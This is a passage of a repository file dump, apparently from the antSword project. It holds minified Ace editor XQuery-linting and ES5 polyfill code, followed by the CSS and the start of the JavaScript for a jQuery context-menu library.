",\"'to'\",\"'treat'\",\"'try'\",\"'tumbling'\",\"'type'\",\"'typeswitch'\",\"'union'\",\"'unique'\",\"'unordered'\",\"'updating'\",\"'uppercase'\",\"'using'\",\"'validate'\",\"'value'\",\"'variable'\",\"'version'\",\"'weight'\",\"'when'\",\"'where'\",\"'while'\",\"'wildcards'\",\"'window'\",\"'with'\",\"'without'\",\"'word'\",\"'words'\",\"'xquery'\",\"'zero-digit'\",\"'{'\",\"'{{'\",\"'{|'\",\"'|'\",\"'||'\",\"'|}'\",\"'}'\",\"'}}'\"]},{}],11:[function(e,t,n){\"use strict\";n.TreeOps={flatten:function(e){var t=this,n=\"\";if(!e)throw new Error(\"Invalid node found\");return e.value===undefined?e.children.forEach(function(e){n+=t.flatten(e)}):n+=e.value,n},concat:function(e,t,n){var r=n?{}:e;n&&Object.keys(e).forEach(function(t){r[t]=e[t]});var i=Object.keys(t);return i.forEach(function(e){r[e]=t[e]}),r},removeParentPtr:function(e){e.getParent!==undefined&&delete e.getParent;for(var t in e.children){var n=e.children[t];this.removeParentPtr(n)}},inRange:function(e,t,n){if(e&&e.sl<=t.line&&t.line<=e.el){if(e.sl<t.line&&t.line<e.el)return!0;if(e.sl===t.line&&t.line<e.el)return e.sc<=t.col;if(e.sl===t.line&&e.el===t.line)return e.sc<=t.col&&t.col<=e.ec+(n?1:0);if(e.sl<t.line&&e.el===t.line)return t.col<=e.ec+(n?1:0)}},findNode:function(e,t){if(!e)return;var n=e.pos;if(this.inRange(n,t)===!0){for(var r in e.children){var i=e.children[r],s=this.findNode(i,t);if(s!==undefined)return s}return e}return},astAsXML:function(e,t){var n=\"\";t=t?t:\"\",e.value&&(n+=t+\"<\"+e.name+\">\"+e.value+\"</\"+e.name+\">\\n\"),n+=t+\"<\"+e.name+\">\\n\";var r=this;return e.children.forEach(function(e){n+=r.astAsXML(e,t+\"  \")}),n+=t+\"</\"+e.name+\">\\n\",n}}},{}],12:[function(e,t,n){\"use strict\";var r=e(\"./parsers/JSONiqParser\").JSONiqParser,i=e(\"./parsers/XQueryParser\").XQueryParser,s=e(\"./parsers/JSONParseTreeHandler\").JSONParseTreeHandler,o=e(\"./compiler/translator\").Translator,u=e(\"./formatter/style_checker\").StyleChecker,a=e(\"../lib/completion/completer\"),f=n.createStaticContext=function(){var t=e(\"./compiler/static_context\").StaticContext;return new t},l=function(e,t){return e?(Object.keys(t).forEach(function(n){e[n]===undefined&&(e[n]=t[n])}),e):t},c=function(e,t,n){var r=e.substring(0,t),i=e.substring(0,n),s=r.split(\"\\n\").length,o=t-r.lastIndexOf(\"\\n\"),u=i.split(\"\\n\").length,a=n-i.lastIndexOf(\"\\n\"),f={sl:s-1,sc:o-1,el:u-1,ec:a-1};return f};n.XQLint=function(e,t){t=t?t:{},t=l(t,{styleCheck:!1});var n;this.getAST=function(){return n};var h=[];this.getMarkers=function(){return h},this.getMarkers=function(e){var t=[];return h.forEach(function(n){(n.type===e||e===undefined)&&t.push(n)}),t},this.getErrors=function(){return this.getMarkers(\"error\")},this.getWarnings=function(){return this.getMarkers(\"warning\")},this.getCompletions=function(t){return a.complete(e,n,d,t)};var p=!1;this.hasSyntaxError=function(){return p};var d=t.staticContext?t.staticContext:f(),v=t.fileName?t.fileName:\"\",m=v.substring(v.length-\".jq\".length).indexOf(\".jq\")!==-1&&e.indexOf(\"xquery version\")!==0||e.indexOf(\"jsoniq version\")===0,g=new s(e),y=m?new r(e,g):new i(e,g);try{y.parse_XQuery()}catch(b){if(!(b instanceof y.ParseException))throw b;p=!0,g.closeParseTree();var w=c(e,b.getBegin(),b.getEnd()),E=y.getErrorMessage(b);w.sc===w.ec&&w.ec++,h.push({pos:w,type:\"error\",level:\"error\",message:E})}n=g.getParseTree(),t.styleCheck&&(h=h.concat((new u(n,e)).getMarkers()));var S=new o(d,n);h=h.concat(S.getMarkers())}},{\"../lib/completion/completer\":6,\"./compiler/static_context\":4,\"./compiler/translator\":5,\"./formatter/style_checker\":7,\"./parsers/JSONParseTreeHandler\":8,\"./parsers/JSONiqParser\":9,\"./parsers/XQueryParser\":10}]},{},[12])(12)}),ace.define(\"ace/mode/xquery_worker\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/worker/mirror\",\"ace/mode/xquery/xqlint\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../worker/mirror\").Mirror,s=e(\"./xquery/xqlint\"),o=s.XQLint,u=function(e){return function(t){var n=e,r=n[t],i={},s={};return r.functions.forEach(function(e){s[t+\"#\"+e.name+\"#\"+e.arity]={params:[]},e.parameters.forEach(function(n){s[t+\"#\"+e.name+\"#\"+e.arity].params.push(\"$\"+n.name)})}),r.variables.forEach(function(e){var n=e.name.substring(e.name.indexOf(\":\")+1);i[t+\"#\"+n]={type:\"VarDecl\",annotations:[]}}),{variables:i,functions:s}}},a=t.XQueryWorker=function(e){i.call(this,e),this.setTimeout(200),this.opts={styleCheck:!1};var t=this;this.sender.on(\"complete\",function(e){if(t.xqlint){var n={line:e.data.pos.row,col:e.data.pos.column},r=t.xqlint.getCompletions(n);t.sender.emit(\"complete\",r)}}),this.sender.on(\"setAvailableModuleNamespaces\",function(e){t.availableModuleNamespaces=e.data}),this.sender.on(\"setModuleResolver\",function(e){t.moduleResolver=u(e.data)})};r.inherits(a,i),function(){this.onUpdate=function(){this.sender.emit(\"start\");var e=this.doc.getValue(),t=s.createStaticContext();this.moduleResolver&&t.setModuleResolver(this.moduleResolver),this.availableModuleNamespaces&&(t.availableModuleNamespaces=this.availableModuleNamespaces);var n={styleCheck:this.styleCheck,staticContext:t};this.xqlint=new o(e,n),this.sender.emit(\"markers\",this.xqlint.getMarkers())}}.call(a.prototype)}),ace.define(\"ace/lib/es5-shim\",[\"require\",\"exports\",\"module\"],function(e,t,n){function r(){}function w(e){try{return Object.defineProperty(e,\"sentinel\",{}),\"sentinel\"in e}catch(t){}}function H(e){return e=+e,e!==e?e=0:e!==0&&e!==1/0&&e!==-1/0&&(e=(e>0||-1)*Math.floor(Math.abs(e))),e}function B(e){var t=typeof e;return e===null||t===\"undefined\"||t===\"boolean\"||t===\"number\"||t===\"string\"}function j(e){var t,n,r;if(B(e))return e;n=e.valueOf;if(typeof n==\"function\"){t=n.call(e);if(B(t))return t}r=e.toString;if(typeof r==\"function\"){t=r.call(e);if(B(t))return t}throw new TypeError}Function.prototype.bind||(Function.prototype.bind=function(t){var n=this;if(typeof n!=\"function\")throw new TypeError(\"Function.prototype.bind called on incompatible \"+n);var i=u.call(arguments,1),s=function(){if(this instanceof s){var e=n.apply(this,i.concat(u.call(arguments)));return Object(e)===e?e:this}return n.apply(t,i.concat(u.call(arguments)))};return n.prototype&&(r.prototype=n.prototype,s.prototype=new r,r.prototype=null),s});var i=Function.prototype.call,s=Array.prototype,o=Object.prototype,u=s.slice,a=i.bind(o.toString),f=i.bind(o.hasOwnProperty),l,c,h,p,d;if(d=f(o,\"__defineGetter__\"))l=i.bind(o.__defineGetter__),c=i.bind(o.__defineSetter__),h=i.bind(o.__lookupGetter__),p=i.bind(o.__lookupSetter__);if([1,2].splice(0).length!=2)if(!function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t=[],n;t.splice.apply(t,e(20)),t.splice.apply(t,e(26)),n=t.length,t.splice(5,0,\"XXX\"),n+1==t.length;if(n+1==t.length)return!0}())Array.prototype.splice=function(e,t){var n=this.length;e>0?e>n&&(e=n):e==void 0?e=0:e<0&&(e=Math.max(n+e,0)),e+t<n||(t=n-e);var r=this.slice(e,e+t),i=u.call(arguments,2),s=i.length;if(e===n)s&&this.push.apply(this,i);else{var o=Math.min(t,n-e),a=e+o,f=a+s-o,l=n-a,c=n-o;if(f<a)for(var h=0;h<l;++h)this[f+h]=this[a+h];else if(f>a)for(h=l;h--;)this[f+h]=this[a+h];if(s&&e===c)this.length=c,this.push.apply(this,i);else{this.length=c+s;for(h=0;h<s;++h)this[e+h]=i[h]}}return r};else{var v=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?v.apply(this,[e===void 0?0:e,t===void 0?this.length-e:t].concat(u.call(arguments,2))):[]}}Array.isArray||(Array.isArray=function(t){return a(t)==\"[object Array]\"});var m=Object(\"a\"),g=m[0]!=\"a\"||!(0 in m);Array.prototype.forEach||(Array.prototype.forEach=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=arguments[1],s=-1,o=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError;while(++s<o)s in r&&t.call(i,r[s],s,n)}),Array.prototype.map||(Array.prototype.map=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=Array(i),o=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var u=0;u<i;u++)u in r&&(s[u]=t.call(o,r[u],u,n));return s}),Array.prototype.filter||(Array.prototype.filter=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=[],o,u=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var f=0;f<i;f++)f in r&&(o=r[f],t.call(u,o,f,n)&&s.push(o));return s}),Array.prototype.every||(Array.prototype.every=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&!t.call(s,r[o],o,n))return!1;return!0}),Array.prototype.some||(Array.prototype.some=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&t.call(s,r[o],o,n))return!0;return!1}),Array.prototype.reduce||(Array.prototype.reduce=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduce of empty array with no initial value\");var s=0,o;if(arguments.length>=2)o=arguments[1];else do{if(s in r){o=r[s++];break}if(++s>=i)throw new TypeError(\"reduce of empty array with no initial value\")}while(!0);for(;s<i;s++)s in r&&(o=t.call(void 0,o,r[s],s,n));return o}),Array.prototype.reduceRight||(Array.prototype.reduceRight=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduceRight of empty array with no initial value\");var s,o=i-1;if(arguments.length>=2)s=arguments[1];else do{if(o in r){s=r[o--];break}if(--o<0)throw new TypeError(\"reduceRight of empty array with no initial value\")}while(!0);do o in this&&(s=t.call(void 0,s,r[o],o,n));while(o--);return s});if(!Array.prototype.indexOf||[0,1].indexOf(1,2)!=-1)Array.prototype.indexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=0;arguments.length>1&&(i=H(arguments[1])),i=i>=0?i:Math.max(0,r+i);for(;i<r;i++)if(i in n&&n[i]===t)return i;return-1};if(!Array.prototype.lastIndexOf||[0,1].lastIndexOf(0,-3)!=-1)Array.prototype.lastIndexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=r-1;arguments.length>1&&(i=Math.min(i,H(arguments[1]))),i=i>=0?i:r-Math.abs(i);for(;i>=0;i--)if(i in n&&t===n[i])return i;return-1};Object.getPrototypeOf||(Object.getPrototypeOf=function(t){return t.__proto__||(t.constructor?t.constructor.prototype:o)});if(!Object.getOwnPropertyDescriptor){var y=\"Object.getOwnPropertyDescriptor called on a non-object: \";Object.getOwnPropertyDescriptor=function(t,n){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(y+t);if(!f(t,n))return;var r,i,s;r={enumerable:!0,configurable:!0};if(d){var u=t.__proto__;t.__proto__=o;var i=h(t,n),s=p(t,n);t.__proto__=u;if(i||s)return i&&(r.get=i),s&&(r.set=s),r}return r.value=t[n],r}}Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(t){return Object.keys(t)});if(!Object.create){var b;Object.prototype.__proto__===null?b=function(){return{__proto__:null}}:b=function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(t,n){var r;if(t===null)r=b();else{if(typeof t!=\"object\")throw new TypeError(\"typeof prototype[\"+typeof t+\"] != 'object'\");var i=function(){};i.prototype=t,r=new i,r.__proto__=t}return n!==void 0&&Object.defineProperties(r,n),r}}if(Object.defineProperty){var E=w({}),S=typeof document==\"undefined\"||w(document.createElement(\"div\"));if(!E||!S)var x=Object.defineProperty}if(!Object.defineProperty||x){var T=\"Property description must be an object: \",N=\"Object.defineProperty called on non-object: \",C=\"getters & setters can not be defined on this javascript engine\";Object.defineProperty=function(t,n,r){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(N+t);if(typeof r!=\"object\"&&typeof r!=\"function\"||r===null)throw new TypeError(T+r);if(x)try{return x.call(Object,t,n,r)}catch(i){}if(f(r,\"value\"))if(d&&(h(t,n)||p(t,n))){var s=t.__proto__;t.__proto__=o,delete t[n],t[n]=r.value,t.__proto__=s}else t[n]=r.value;else{if(!d)throw new TypeError(C);f(r,\"get\")&&l(t,n,r.get),f(r,\"set\")&&c(t,n,r.set)}return t}}Object.defineProperties||(Object.defineProperties=function(t,n){for(var r in n)f(n,r)&&Object.defineProperty(t,r,n[r]);return t}),Object.seal||(Object.seal=function(t){return t}),Object.freeze||(Object.freeze=function(t){return t});try{Object.freeze(function(){})}catch(k){Object.freeze=function(t){return function(n){return typeof n==\"function\"?n:t(n)}}(Object.freeze)}Object.preventExtensions||(Object.preventExtensions=function(t){return t}),Object.isSealed||(Object.isSealed=function(t){return!1}),Object.isFrozen||(Object.isFrozen=function(t){return!1}),Object.isExtensible||(Object.isExtensible=function(t){if(Object(t)===t)throw new TypeError;var n=\"\";while(f(t,n))n+=\"?\";t[n]=!0;var r=f(t,n);return delete t[n],r});if(!Object.keys){var L=!0,A=[\"toString\",\"toLocaleString\",\"valueOf\",\"hasOwnProperty\",\"isPrototypeOf\",\"propertyIsEnumerable\",\"constructor\"],O=A.length;for(var M in{toString:null})L=!1;Object.keys=function I(e){if(typeof e!=\"object\"&&typeof e!=\"function\"||e===null)throw new TypeError(\"Object.keys called on a non-object\");var I=[];for(var t in e)f(e,t)&&I.push(t);if(L)for(var n=0,r=O;n<r;n++){var i=A[n];f(e,i)&&I.push(i)}return I}}Date.now||(Date.now=function(){return(new Date).getTime()});var _=\"\t\\n\u000b\\f\\r \\u00a0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000\\u2028\\u2029\\ufeff\";if(!String.prototype.trim||_.trim()){_=\"[\"+_+\"]\";var D=new RegExp(\"^\"+_+_+\"*\"),P=new RegExp(_+_+\"*$\");String.prototype.trim=function(){return String(this).replace(D,\"\").replace(P,\"\")}}var F=function(e){if(e==null)throw new TypeError(\"can't convert \"+e+\" to object\");return Object(e)}})"
  },
  {
    "path": "antSword/static/libs/bmenu/bmenu.css",
    "content": "/**\n * ContextJS Styles\n * For use WITHOUT Twitters Bootstrap CSS\n */\n\n._nav-header {\n\tdisplay: block;\n\tpadding: 3px 15px;\n\tfont-size: 11px;\n\tfont-weight: bold;\n\tline-height: 20px;\n\tcolor: #999;\n\ttext-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);\n\ttext-transform: uppercase;\n}\n._dropdown-menu {\n\tposition: absolute;\n\ttop: 100%;\n\tleft: 0;\n\tz-index: 99999;\n\tdisplay: none;\n\tfloat: left;\n\tmin-width: 160px;\n\tpadding: 5px 0;\n\tmargin: 2px 0 0;\n\tlist-style: none;\n\tbackground-color: rgba(255, 255, 255, 0.9);\n\tborder: 1px solid #ccc;\n\tborder: 1px solid rgba(0, 0, 0, 0.2);\n\tfont-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n\tfont-size: 13px;\n\t*border-right-width: 2px;\n\t*border-bottom-width: 2px;\n/*\t-webkit-border-radius: 6px;\n\t-moz-border-radius: 6px;\n\tborder-radius: 6px;*/\n\t-webkit-border-radius: 0px;\n\t-moz-border-radius: 0px;\n\tborder-radius: 0px;\n\t-webkit-box-shadow: 0px 10px 50px -20px #000;\n\t-moz-box-shadow: 0px 10px 50px -20px #000;\n\tbox-shadow: 0px 10px 50px -20px #000;\n\t-webkit-background-clip: padding-box;\n\t-moz-background-clip: padding;\n\tbackground-clip: padding-box;\n\ttext-align:left;\n\n\t-moz-user-select: none;\n\t-o-user-select:none;\n\t-webkit-user-select:none;\n\tuser-select:none;\n\t-ms-user-select:none;\n}\n._dropdown-menu ._left {\n\twidth: 15px;\n\theight: 15px;\n\tpadding: 4px 0px;\n\tdisplay: inline-block;\n}\n._dropdown-menu ._right {\n\tmin-width: 10px;\n\tpadding: 3px 7px;\n\tmargin: 2px;\n\tfont-size: 12px;\n\tfont-weight: 700;\n\tline-height: 1;\n\tcolor: #fff;\n\ttext-align: center;\n\twhite-space: nowrap;\n\tvertical-align: baseline;\n\tbackground-color: #777;\n\tborder-radius: 10px;\n}\n\n._dropdown-menu.pull-right {\n\tright: 0;\n\tleft: auto;\n}\n._dropdown-menu ._divider {\n\t*width: 100%;\n\theight: 1px;\n\tmargin: 9px 1px;\n\t*margin: -5px 0 5px;\n\toverflow: hidden;\n\tborder-bottom: 1px solid #e5e5e5;\n}\n._dropdown-menu a {\n\toutline: none;\n\tdisplay: block;\n\tpadding: 3px 14px;\n\tclear: both;\n\tfont-weight: normal;\n\tline-height: 22px;\n\tcolor: #333333;\n\twhite-space: nowrap;\n\ttext-decoration: none;\n}\n._dropdown-menu li > a:hover, ._dropdown-menu li > a:focus, ._dropdown-submenu:hover > a {\n\tcolor: #ffffff;\n\ttext-decoration: none;\n\t/*background-color: #3C3C3C;*/\n\tbackground-color: #898E96;\n/*\tbackground-image: -moz-linear-gradient(top, #3C3C3C, #0077b3);\n\tbackground-image: -webkit-gradient(linear, 0 0, 0 100%, from(#3C3C3C), to(#0077b3));\n\tbackground-image: -webkit-linear-gradient(top, #3C3C3C, #0077b3);\n\tbackground-image: -o-linear-gradient(top, #3C3C3C, #0077b3);\n\tbackground-image: linear-gradient(to bottom, #3C3C3C, #0077b3);*/\n\tbackground-repeat: repeat-x;\n\t/*filter: progid: dximagetransform.microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0077b3', GradientType=0);*/\n}\n._dropdown-menu .active > a, ._dropdown-menu .active > a:hover {\n\tcolor: #ffffff;\n\ttext-decoration: none;\n\t/*background-color: #3C3C3C;*/\n\tbackground-color: #898E96;\n/*\tbackground-image: linear-gradient(to bottom, #3C3C3C, #0077b3);\n\tbackground-image: -moz-linear-gradient(top, #3C3C3C, #0077b3);\n\tbackground-image: -webkit-gradient(linear, 0 0, 0 100%, from(#3C3C3C), to(#0077b3));\n\tbackground-image: -webkit-linear-gradient(top, #3C3C3C, #0077b3);\n\tbackground-image: -o-linear-gradient(top, #3C3C3C, #0077b3);*/\n\tbackground-repeat: repeat-x;\n\toutline: 0;\n\t/*filter: progid: dximagetransform.microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0077b3', GradientType=0);*/\n}\n._dropdown-menu .disabled > a, ._dropdown-menu .disabled > a:hover {\n\tcolor: #999999;\n}\n._dropdown-menu .disabled > a:hover {\n\ttext-decoration: none;\n\tcursor: not-allowed;\n\tbackground-color: transparent;\n}\n._dropdown-menu .disabled .badge {\n\tbackground: #999;\n}\n._dropdown-menu .disabled > a:hover {\n\tbackground: rgba(51, 51, 51, 0.1);\n}\n.open {\n\t*z-index: 1000;\n}\n.open > ._dropdown-menu {\n\tdisplay: block;\n}\n.pull-right > ._dropdown-menu {\n\tright: 0;\n\tleft: auto;\n}\n.dropup .caret, .navbar-fixed-bottom .dropdown .caret {\n\tborder-top: 0;\n\tborder-bottom: 4px solid #000000;\n\tcontent: \"\\2191\";\n}\n.dropup ._dropdown-menu, .navbar-fixed-bottom .dropdown ._dropdown-menu {\n\ttop: auto;\n\tbottom: 100%;\n\tmargin-bottom: 1px;\n}\n._dropdown-submenu {\n\tposition: relative;\n}\n._dropdown-submenu ._dropdown-menu a {\n\tline-height: 23px;\n}\n._dropdown-submenu > ._dropdown-menu {\n\ttop: 0;\n\tleft: 100%;\n\tmargin-top: -6px;\n\tmargin-left: -1px;\n\tborder-radius: 0px;\n\t-webkit-border-radius: 0px;\n\t-moz-border-radius: 0px;\n/*\t-webkit-border-radius: 0 6px 6px 6px;\n\t-moz-border-radius: 0 6px 6px 6px;\n\tborder-radius: 0 6px 6px 6px;*/\n}\n._dropdown-submenu > ._dropdown-menu.drop-left{\n\tleft:-100%;\n}\n._dropdown-submenu:hover ._dropdown-menu {\n\tdisplay: block;\n}\n._dropdown-submenu > a:after {\n\tdisplay: block;\n\tfloat: right;\n\twidth: 0;\n\theight: 0;\n\tmargin-top: 5px;\n\tmargin-right: -10px;\n\tborder-color: transparent;\n\tborder-left-color: #cccccc;\n\tborder-style: solid;\n\tborder-width: 5px 0 5px 5px;\n\tcontent: \" \";\n}\n._dropdown-submenu:hover > a:after {\n\tborder-left-color: #ffffff;\n}\n.dropdown ._dropdown-menu ._nav-header {\n\tpadding-right: 20px;\n\tpadding-left: 20px;\n}\n/**\n * \tContext Styles\n */\n\n._dropdown-context ._nav-header {\n\tcursor: default;\n}\n._dropdown-context:before, ._dropdown-context-up:before {\n\tposition: absolute;\n\ttop: -7px;\n\tleft: 9px;\n\tdisplay: inline-block;\n\tborder-right: 7px solid transparent;\n\tborder-bottom: 7px solid #ccc;\n\tborder-left: 7px solid transparent;\n\tborder-bottom-color: rgba(0, 0, 0, 0.2);\n\tcontent: '';\n}\n._dropdown-context:after, ._dropdown-context-up:after {\n\tposition: absolute;\n\ttop: -6px;\n\tleft: 10px;\n\tdisplay: inline-block;\n\tborder-right: 6px solid transparent;\n\tborder-bottom: 6px solid #ffffff;\n\t/*border-bottom: 6px solid rgba(255, 255, 255, 0.9);*/\n\tborder-left: 6px solid transparent;\n\tcontent: '';\n}\n._dropdown-context-up:before, ._dropdown-context-up:after {\n\ttop: auto;\n\tbottom: -7px;\n\tz-index: 9999;\n}\n._dropdown-context-up:before {\n\tborder-right: 7px solid transparent;\n\tborder-top: 7px solid #ccc;\n\tborder-bottom: none;\n\tborder-left: 7px solid transparent;\n}\n._dropdown-context-up:after {\n\tborder-right: 6px solid transparent;\n\tborder-top: 6px solid #ffffff;\n\tborder-left: 6px solid transparent;\n\tborder-bottom: none;\n}\n._dropdown-context-sub:before, ._dropdown-context-sub:after {\n\tdisplay: none;\n}\n._dropdown-context ._dropdown-submenu:hover ._dropdown-menu {\n\tdisplay: none;\n}\n._dropdown-context ._dropdown-submenu:hover > ._dropdown-menu {\n\tdisplay: block;\n}\n\n.compressed-context a{\n\tpadding-left: 14px;\n\tpadding-top: 0;\n\tpadding-bottom: 0;\n\tfont-size: 13px;\n\t}\n.compressed-context ._divider{\n\tmargin: 5px 1px;\n\t}\n.compressed-context ._nav-header{\n\tpadding:1px 13px;\n\t}"
  },
  {
    "path": "antSword/static/libs/bmenu/bmenu.js",
    "content": "/*\n * Context.js\n * Copyright Jacob Kelley\n * MIT License\n * 根据bootstrap-contextmenu.js修改\n */\n\n// require('./bmenu.css');\n\n(function() {\n    // 加载CSS\n    // $('head').append('<link href=\"/js/libs/bmenu/bmenu.css\" rel=\"stylesheet\">');\n    var context = context || (function () {\n\n        var options = {\n            fadeSpeed: 100,\n            filter: function ($obj) {\n                // Modify $obj, Do not return\n            },\n            above: 'auto',\n            preventDoubleContext: false,//true,\n            compress: true,//false\n        };\n\n        function initialize(opts) {\n\n            options = $.extend({}, options, opts);\n\n            $(document).on('click', 'html', function () {\n                // $('._dropdown-context').fadeOut(options.fadeSpeed, function(){\n                //     $('._dropdown-context').css({display:''}).find('.drop-left').removeClass('drop-left');\n                // });\n                hidden();\n            });\n            // 是否允许多个菜单存在\n            if(options.preventDoubleContext){\n                $(document).on('contextmenu', '._dropdown-context', function (e) {\n                    e.preventDefault();\n                });\n            }\n            // 子菜单滑过事件（显示子菜单）\n            $(document).on('mouseenter', '._dropdown-submenu', function(){\n                var $sub = $(this).find('._dropdown-context-sub:first'),\n                    subWidth = $sub.width(),\n                    subLeft = $sub.offset().left,\n                    collision = (subWidth+subLeft) > window.innerWidth;\n                if(collision){\n                    $sub.addClass('drop-left');\n                }\n            });\n\n        }\n\n        // 更新设置\n        function updateOptions(opts){\n            options = $.extend({}, options, opts);\n        }\n\n        // chaungjianchaungjian创建菜单\n        // 返回菜单dom\n        // data[0] = { divider:true },[1]={ header:'headr',href:'#', target:'_blank',disabled:true,icon:'fa fa-xxoo',text:'xxx',count:111,id:'test',action:function,subMenu:[same as ..] }\n        function buildMenu(data, id, subMenu) {\n            var subClass = (subMenu) ? ' _dropdown-context-sub' : '',\n                compressed = options.compress ? ' compressed-context' : '',\n                $menu = $('<ul class=\"_dropdown-menu _dropdown-context' + subClass + compressed+'\" id=\"dropdown-' + id + '\"></ul>');\n            var i = 0, linkTarget = '';\n            for(i; i<data.length; i++) {\n                if (typeof data[i].divider !== 'undefined') {\n                    $menu.append('<li class=\"_divider\"></li>');\n                } else if (typeof data[i].header !== 'undefined') {\n                    $menu.append('<li class=\"_nav-header\">' + data[i].header + '</li>');\n                } else {\n                    //= 链接\n                    if (typeof data[i].href == 'undefined') {\n                        data[i].href = 'javascript:;';\n                    }\n                    //= 链接打开方式\n                    if (typeof data[i].target !== 'undefined') {\n                        linkTarget = ' target=\"'+data[i].target+'\"';\n                    }\n                    //= 子菜单\n                    if (typeof data[i].subMenu !== 'undefined') {\n                        var temp = '<li class=\"' + (data[i].disabled ? ' disabled' : '_dropdown-submenu') + '\"><a tabindex=\"-1\" href=\"' + data[i].href + '\">';\n                        temp += data[i].icon ? ('<i class=\"_left ' + data[i].icon + '\"></i> ') : '';\n                        // temp += data[i].count ? (' <span class=\"_right pull-right badge\">' + (data[i].count || '') + '</span>') : '';\n                        temp += data[i].text;\n                        temp += '</a></li>';\n                        $sub = (temp);\n                    } else {\n                        var temp = '<li' + (data[i].disabled ? ' class=\"disabled\"' : '') + '>';\n                        temp += '<a tabindex=\"-1\" href=\"' + data[i].href + '\"'+linkTarget+'>';\n                        //- 左边图标\n                        temp += data[i].icon ? ('<i class=\"pull-left _left ' + data[i].icon + '\"></i> ') : '';\n                        //- 右边数量\n                        temp += data[i].count ? (' <span class=\"_right pull-right badge\">' + data[i].count + '</span>') : '';\n                        //- 标题\n                        temp += data[i].text;\n                        temp += '</a></li>'\n                        $sub = $(temp);\n                    }\n                    if (typeof data[i].action !== 'undefined' && !data[i].disabled) {\n                        var actiond = new Date(),\n                            actionID = (data[i].id || 'event') + '-' + actiond.getTime() * Math.floor(Math.random()*100000),\n                            eventAction = data[i].action;\n                        $sub.find('a').attr('id', actionID);\n                        $('#' + actionID).addClass('context-event');\n                        $(document).on('click', '#' + actionID, eventAction);\n                    }\n                    $menu.append($sub);\n                    if (typeof data[i].subMenu != 'undefined') {\n                        var subMenuData = buildMenu(data[i].subMenu, id, true);\n                        $menu.find('li:last').append(subMenuData);\n                    }\n                }\n                if (typeof options.filter == 'function') {\n                    options.filter($menu.find('li:last'));\n                }\n            }\n            return $menu;\n        }\n\n        function addContext(selector, data, event) {\n\n            var d = new Date(),\n                id = selector ? d.getTime() : 'none',\n                $menu = buildMenu(data, id);\n            $('#dropdown-none').remove();\n            $('body').append($menu);\n\n            function show(e) {\n                $('._dropdown-context:not(._dropdown-context-sub)').hide();\n\n                $dd = $('#dropdown-' + id);\n                if (typeof options.above == 'boolean' && options.above) {\n                    $dd.addClass('_dropdown-context-up').css({\n                        top: e.pageY - 20 - $('#dropdown-' + id).height(),\n                        left: e.pageX - 13\n                    }).fadeIn(options.fadeSpeed);\n                } else if (typeof options.above == 'string' && options.above == 'auto') {\n                    $dd.removeClass('_dropdown-context-up');\n                    var autoH = $dd.height() + 12;\n                    if ((e.pageY + autoH) > $('html').height()) {\n                      // 这里修改一下，防止菜单栏过上导致无法选择\n                        var _top = e.pageY - 20 - autoH;\n                        _top = _top < 0 ? 0 : _top;\n                        $dd.addClass('_dropdown-context-up').css({\n                            // top: e.pageY - 20 - autoH,\n                            top: _top,\n                            left: e.pageX - 13\n                        }).fadeIn(options.fadeSpeed);\n                    } else {\n                        $dd.css({\n                            top: e.pageY + 10,\n                            left: e.pageX - 13\n                        }).fadeIn(options.fadeSpeed);\n                    }\n                }\n            }\n            if (selector) {\n                $(document).on('contextmenu', selector, function (e) {\n                    e.preventDefault();\n                    e.stopPropagation();\n                    show(e);\n                });\n            }else{\n                show(event);\n            }\n        }\n\n        function destroyContext(selector) {\n            $(document).off('contextmenu', selector).off('click', '.context-event');\n        }\n\n        // hidden menu\n        function hidden() {\n            $('._dropdown-context').fadeOut(options.fadeSpeed, function(){\n                $('._dropdown-context').css({display:''}).find('.drop-left').removeClass('drop-left');\n            });\n        }\n\n        return {\n            init: initialize,\n            settings: updateOptions,\n            attach: addContext,\n            hide: hidden,\n            destroy: destroyContext\n        };\n    })();\n    context.init({\n        preventDoubleContext: false,\n        compress: true\n    });\n    var ret = function(menus, event) {\n        